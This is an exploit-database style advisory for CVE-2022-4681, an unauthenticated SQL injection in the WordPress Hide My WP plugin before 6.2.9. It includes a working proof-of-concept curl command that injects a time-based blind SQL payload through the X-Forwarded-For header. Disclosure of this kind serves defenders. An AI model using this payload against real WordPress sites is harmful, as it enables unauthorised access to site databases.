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WordPress Hide My WP SQL Injection
WordPress Hide My WP plugin versions 6.2.9 and below suffer from an unauthenticated remote SQL injection vulnerability.
# Exploit Title: Wordpress Plugin Hide My WP < 6.2.9 - Unauthenticated SQLi # Publication Date: 2023-01-11# Original Researcher: Xenofon Vassilakopoulos# Exploit Author: Xenofon Vassilakopoulos# Submitter: Xenofon Vassilakopoulos# Vendor Homepage: https://wpwave.com/# Version: Hide My WP v6.2.8 and prior# Tested on: Hide My WP v6.2.7# Impact: Database Access# CVE: CVE-2022-4681# CWE: CWE-89# CVSS Score: 8.6 (high)## DescriptionThe plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.## Proof of Conceptcurl -k --location --request GET "http://localhost:10008" --header "X-Forwarded-For: 127.0.0.1'+(select*from(select(sleep(20)))a)+'"
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CVE-2022-4681
The Hide My WP WordPress plugin before 6.2.9 does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.